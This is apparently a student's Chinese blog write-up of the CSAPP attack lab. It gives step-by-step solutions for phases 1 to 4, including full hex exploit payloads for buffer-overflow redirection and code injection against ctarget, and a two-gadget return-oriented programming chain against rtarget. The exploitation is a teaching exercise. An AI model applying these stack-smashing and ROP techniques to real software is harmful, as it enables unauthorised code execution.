CSAPP实验 03-attack-lab

2020/06/05 南京

Phase 1

缓冲区溢出将程序进行重定位,以执行另外现存的程序.
问题描述:在phase 1中,可执行文件ctarget中有一个test函数,具体代码如下

void test()
{
    int val;
    val = getbuf();
    printf("No exploit. Getbuf returned 0x%x\n", val);
}

正常情况下getbuf函数结束后程序会返回到test函数的第6行. 在这里本实验想改变这样的行为. 在ctarget中还存在以下的函数代码:

void touch1()
{
    vlevel = 1; /* Part of validation protocol */
    printf("Touch1!: You called touch1()\n");
    validate(1);
    exit(0);
}

这里的任务是想办法使得ctarget在执行getbuf之后运行touch1函数,而不是返回test函数.

一些建议:

  • 本阶段实验所需的全部信息都包含在ctarget的汇编代码里. 你可以用objdump -d获得ctarget的反汇编代码.
  • 基本的想法是把touch1函数的地址放在一个合适的地方,这样当getbuf函数运行完执行ret指令之后,程序的控制权就到了touch1函数那里.
  • 请注意字符的顺序(大端模式/小端模式).
  • 你可以用gdb调试getbuf函数来确保正确性.
  • 函数getbuf中buf所占用栈的大小与系统有关,需要通过反汇编来具体的确定.

解答:

  • 先用objdump -d命令反汇编getbuf函数和touch1函数,得到的代码如下:
# objdump -d ctarget
 
00000000004017a8 :
  4017a8:    48 83 ec 28        sub    $0x28,%rsp
  4017ac:    48 89 e7           mov    %rsp,%rdi
  4017af:    e8 8c 02 00 00     callq  401a40 
  4017b4:    b8 01 00 00 00     mov    $0x1,%eax
  4017b9:    48 83 c4 28        add    $0x28,%rsp
  4017bd:    c3                 retq   
  4017be:    90                 nop
  4017bf:    90                 nop

00000000004017c0 :
  4017c0:    48 83 ec 08           sub    $0x8,%rsp
  4017c4:    c7 05 0e 2d 20 00 01  movl   $0x1,0x202d0e(%rip)        # 6044dc 
  4017cb:    00 00 00 
  4017ce:    bf c5 30 40 00        mov    $0x4030c5,%edi
  4017d3:    e8 e8 f4 ff ff        callq  400cc0 
  4017d8:    bf 01 00 00 00        mov    $0x1,%edi
  4017dd:    e8 ab 04 00 00        callq  401c8d 
  4017e2:    bf 00 00 00 00        mov    $0x0,%edi
  4017e7:    e8 54 f6 ff ff        callq  400e40 
  • 从以上代码可以知道:1.getbuf函数申请了0x28大小的栈空间; 2.touch1函数的首地址在0x4017c0
  • 解答:给getbuf函数输入0x28+8个字节,前面0x28个字节用于产生溢出,后面8字节填入touch1函数的地址. 这样就刚好可以在getbuf函数返回时调用touch1.
echo "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 17 40 00 00 00 00 00" | ./hex2raw | ./ctarget -q

CSAPP实验 03-attack-lab_第1张图片

Phase 2

问题描述:在phase 2中我们需要注入一小段的代码.在ctarget中有touch2的C代码如下:

void touch2(unsigned val)
{
      vlevel = 2; /* Part of validation protocol */
      if (val == cookie) {
          printf("Touch2!: You called touch2(0x%.8x)\n", val);
          validate(2);
      } else {
          printf("Misfire: You called touch2(0x%.8x)\n", val);
          fail(2);
      }
    exit(0);
 }

这里的任务是使得使得ctarget在执行了getbuf函数之后继续执行touch2函数,而不是返回test函数. 注意要给touch2传参数(cookie).

一些建议:

  • 你需要把你所注入代码的开始地址放到合适的位置,以实现getbuf函数运行结束之后再运行touch2函数,而不是返回到test函数.
  • 传参的时候第一个参数是放在%rdi函数的.
  • 你所注入的代码应该要把寄存器设置成你的cookie,然后用一个ret指令实现控制的转换.
  • 不要尝试使用jmp或者call指令,因为这两个指令的目标地址编码很难模拟.
  • 参考附录B看下如何用工具生成代码指令的字节编码.

解答:
相对于phase 1,phase 2不仅要调用一个函数,更要传入相应的参数. 根据提示具体的做法是: 通过getbuf缓冲区溢出漏洞,注入一段代码,代码个功能包括: a.往%rdi中填充cookie字节; b.修改%rsp所指向的栈内存,使其指向touch2函数首地址.得到的代码如下:

mov    $0x59b997fa, %rdi      # cookie = 0x59b997fa
mov    $0x004017ec, 0(%rsp)   # *($rsp) = touch2 = 0x4017ec
retq                          #  return

通过gcc将以上代码进行编译,并通过objdump进行反编译

gcc -c code2.c
objdump -d code2.o

得到的代码如下:

code2.o:     file format elf64-x86-64
Disassembly of section .text:

0000000000000000 <.text>:
   0:    48 c7 c7 fa 97 b9 59     mov    $0x59b997fa,%rdi
   7:    48 c7 04 24 ec 17 40     movq   $0x4017ec,(%rsp)
   e:    00 
   f:    c3                       retq  

此时我们考虑如下的栈结构:
| ------------------------------------------------------------------------|
| 高地址
| ------------------------------------------------------------------------|
| 地址L0 (刚好溢出填充了getbuf的返回地址)
| ------------------------------------------------------------------------|
| 填充字节 (加上前面的代码,一共填充0x28个字节)
| ------------------------------------------------------------------------|
| retq
| ------------------------------------------------------------------------|
| mov \$0x004017ec, 0x0(%rsp)
| ------------------------------------------------------------------------|
| mov \$0x59b997fa, %rdi
| ------------------------------------------------------------------------|
| L0: 低地址 (0x5561dc78)
| ------------------------------------------------------------------------|

经过gdb ./ctarget在getbuf函数下断点,stepi,用p /x \$rsp打印%rsp的值可以知道,getbuf函数在申请了0x28字节后的栈地址为0x5561dc78. 我们考虑用0x00作为填充字节,得到的攻击字节为:

   48 c7 c7 fa 97 b9 59     # mov    $0x59b997fa,%rdi
   48 c7 04 24 ec 17 40     # movq   $0x4017ec,(%rsp)
   00 c3                    # retq 
   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
   78 dc 61 55 00 00 00 00  # code address

最终代码如下:

echo "48 c7 c7 fa 97 b9 59 48 c7 04 24 ec 17 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00" | ./hex2raw | ./ctarget -q

CSAPP实验 03-attack-lab_第2张图片

Phase 3

本阶段依旧是代码注入,不过这次是要传入字符串作为参数.
问题描述: 在ctarget中有hexmatch函数和touch3函数,他们的C代码如下:

/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval)
{
      char cbuf[110];
      /* Make position of check string unpredictable */
      char *s = cbuf + random() % 100;
      sprintf(s, "%.8x", val);
      return strncmp(sval, s, 9) == 0;
}

void touch3(char *sval)
{
     vlevel = 3; /* Part of validation protocol */
     if (hexmatch(cookie, sval)) {
         printf("Touch3!: You called touch3(\"%s\")\n", sval);
         validate(3);
     } else {
         printf("Misfire: You called touch3(\"%s\")\n", sval);
         fail(3);
     }
      exit(0);
}

本题的任务是使得ctarget在执行完getbuf之后执行touch3而非返回到test.

建议:

  • 在你注入的代码里需要包括cookie的字符表示(不含'0x').
  • 在C语言中字符串是一组以0为结尾的字符串表示.
  • 你所注入的代码需要将%rdi设置为字符串的起始地址.
  • 当函数hexmatch和strncmp调用的时候,他们会把数据压入堆栈,重写getbuf函数曾经使用过的内存. 所以你在写入cookie字符串的时候需要小心谨慎的处理.

解答:
直接按照phase 2的做法搞会发现程序会crash掉.此时我们分析一下touch3和hexmatch的汇编代码.

00000000004018fa :
  4018fa:    53                       push   %rbx
  4018fb:    48 89 fb                 mov    %rdi,%rbx
  4018fe:    c7 05 d4 2b 20 00 03     movl   $0x3,0x202bd4(%rip)        # 6044dc 
  401905:    00 00 00 
  401908:    48 89 fe                 mov    %rdi,%rsi
  40190b:    8b 3d d3 2b 20 00        mov    0x202bd3(%rip),%edi        # 6044e4 
  401911:    e8 36 ff ff ff           callq  40184c 
  401916:    85 c0                    test   %eax,%eax
  401918:    74 23                    je     40193d 
  40191a:    48 89 da                 mov    %rbx,%rdx
  40191d:    be 38 31 40 00           mov    $0x403138,%esi
  401922:    bf 01 00 00 00           mov    $0x1,%edi
  401927:    b8 00 00 00 00           mov    $0x0,%eax
  40192c:    e8 bf f4 ff ff           callq  400df0 <__printf_chk@plt>
  401931:    bf 03 00 00 00           mov    $0x3,%edi
  401936:    e8 52 03 00 00           callq  401c8d 
  40193b:    eb 21                    jmp    40195e 
  40193d:    48 89 da                 mov    %rbx,%rdx
  401940:    be 60 31 40 00           mov    $0x403160,%esi
  401945:    bf 01 00 00 00           mov    $0x1,%edi
  40194a:    b8 00 00 00 00           mov    $0x0,%eax
  40194f:    e8 9c f4 ff ff           callq  400df0 <__printf_chk@plt>
  401954:    bf 03 00 00 00           mov    $0x3,%edi
  401959:    e8 f1 03 00 00           callq  401d4f 
  40195e:    bf 00 00 00 00           mov    $0x0,%edi
  401963:    e8 d8 f4 ff ff           callq  400e40 
  
000000000040184c :
  40184c:    41 54              push   %r12
  40184e:    55                 push   %rbp
  40184f:    53                 push   %rbx
  401850:    48 83 c4 80        add    $0xffffffffffffff80,%rsp
  ...
  4018f1:    48 83 ec 80        sub    $0xffffffffffffff80,%rsp
  4018f5:    5b                 pop    %rbx
  4018f6:    5d                 pop    %rbp
  4018f7:    41 5c              pop    %r12
  4018f9:    c3                 retq

可以看到touch3有push命令,hexmatch不仅有大量的push命令,更有直接减rsp的命令(用gdb调试可以发现add \$0xffffffffffffff80,%rsp其实是在减rsp).因此我们可以断定touch3和hexmath会破坏掉溢出内容.我们要对注入的代码/数据栈进行保护.最简单的做法就是sub \$0x28, %rsp.

sub    $0x30, %rsp          # stack protect
movq   $0x4018fa, 0(%rsp)   # address of touch3
movq   $0x5561dc78, %rdi    # address of cookie
retq

(注意这里的立即数\$0x30,\$0x4018fa前面的'\$'符号很重要,漏掉了会出错).
CSAPP实验 03-attack-lab_第3张图片

第一次尝试的溢出code为:

35 39 62 39 39 37 66 61 00 00 00 00 00 00 00 00 # cookie
48 83 ec 40 48 c7 04 24 fa 18 40 48 c7 c7 78 dc 51 55 c3 00 00 00 00 # code
88 dc 61 55 # code address

shell命令如下:

echo "35 39 62 39 39 37 66 61 00 00 00 00 00 00 00 00 48 83 ec 30 48 c7 04 24 fa 18 40 00 48 c7 c7 78 dc 61 55 c3 00 00 00 00 88 dc 61 55" | ./hex2raw | ./ctarget -q

得到的结果如下:
CSAPP实验 03-attack-lab_第4张图片

通过gdb单步调试发现,cookie所在的栈内容被破坏掉了.考虑到前面提到的hexmatch等函数会对栈进行操作,在这里尝试加大减栈的力度,看能不能避开后面函数对栈内容的破坏. 把sub \$0x30, %rsp改为sub \$0x40, %rsp.

echo "35 39 62 39 39 37 66 61 00 00 00 00 00 00 00 00 48 83 ec 40 48 c7 04 24 fa 18 40 00 48 c7 c7 78 dc 61 55 c3 00 00 00 00 88 dc 61 55" | ./hex2raw | ./ctarget -q

CSAPP实验 03-attack-lab_第5张图片

成功!但是这里依旧没搞清楚后面的函数是如何把栈破坏掉的。

| --------------------------------------------------------|
| 高地址
| --------------------------------------------------------|
| 0x5561dc88 (code起始地址)
| --------------------------------------------------------|
| retq
| --------------------------------------------------------|
| movq 0x5561dc78, %rdi
| --------------------------------------------------------|
| movq \$0x4018fa, 0(%rsp)
| --------------------------------------------------------|
| sub \$0x40, %rsp
| --------------------------------------------------------|
| 8字节的0,(字符串结尾)
| --------------------------------------------------------|
| cookie: 35 39 62 39 39 37 66 61
| --------------------------------------------------------|
| L0: 低地址 (0x5561dc78)
| --------------------------------------------------------|

小结:

  • 注意立即数前面的'$'
  • 注意字符串的结尾标志符'0'.
  • 注意保护栈内容.

Phase 4

Phase 4将涉及到面向返回的编程(Return-Oriented Programming). 个人的理解是:在大量的含retq的代码段里面寻找有用的代码片段,使得我们在用溢出的地址列表把这些代码片段串在一起的时候,它们可以实现我们的特定目的. 值得注意的是,这里我们是对代码片段进行"断章取义"的.
CSAPP实验 03-attack-lab_第6张图片

问题描述:
Phase 4里面我们需要再一次实现前面phase 2的内容. 不一样的是我们这次需要用"Return-Oriented Programming"的方式来攻击rtarget. 具体的,我们需要在给定的gadget farm里面找到合适的代码片段.

注意: 题目中专门提了movq,popq,ret(0xc3),nop(0x90)这几条命令的编码情况.
CSAPP实验 03-attack-lab_第7张图片

一些建议:

  • 解决本题所需的所有代码片段都在start_farm和mid_farm之间.
  • 本题只需要2段代码片段就能解决.
  • 注意popq命令会把数据从栈中弹出,且%rsp加1. 所以注意在你将要填充的溢出数据既包括了代码片段地址,也包括了相应的数据.

解答:
先用objdump -d rtarget反汇编rtarget程序,找到其中的gadget farm如下:
CSAPP实验 03-attack-lab_第8张图片

参考各种提示,找到2组可行的代码片段为:

  • 0x4019ab 58 90 c3 -> popq %rax; nop; retq
  • 0x4019c5 48 89 c7 90 c3 -> mov %rax, %rdi; nop; retq

结果如下:
CSAPP实验 03-attack-lab_第9张图片

此时的栈结构:
| --------------------------------------------------------|
| 高地址
| --------------------------------------------------------|
| touch2函数地址
| --------------------------------------------------------|
| movq %rax,%rdi; retq的地址
| --------------------------------------------------------|
| cookie: 0x59b997fa
| --------------------------------------------------------|
| popq %rax; retq 的地址
| --------------------------------------------------------|
| 任意0x28个占位字节
| --------------------------------------------------------|
| L0: 低地址 (0x5561dc78)
| --------------------------------------------------------|

实践证明正确答案不止一种:
CSAPP实验 03-attack-lab_第10张图片

Phase 5

Phase 5和phase 4原理是一样的,但是复杂了很多,时间有限就不做了.

你可能感兴趣的:(c,ubuntu,csapp,缓冲区溢出)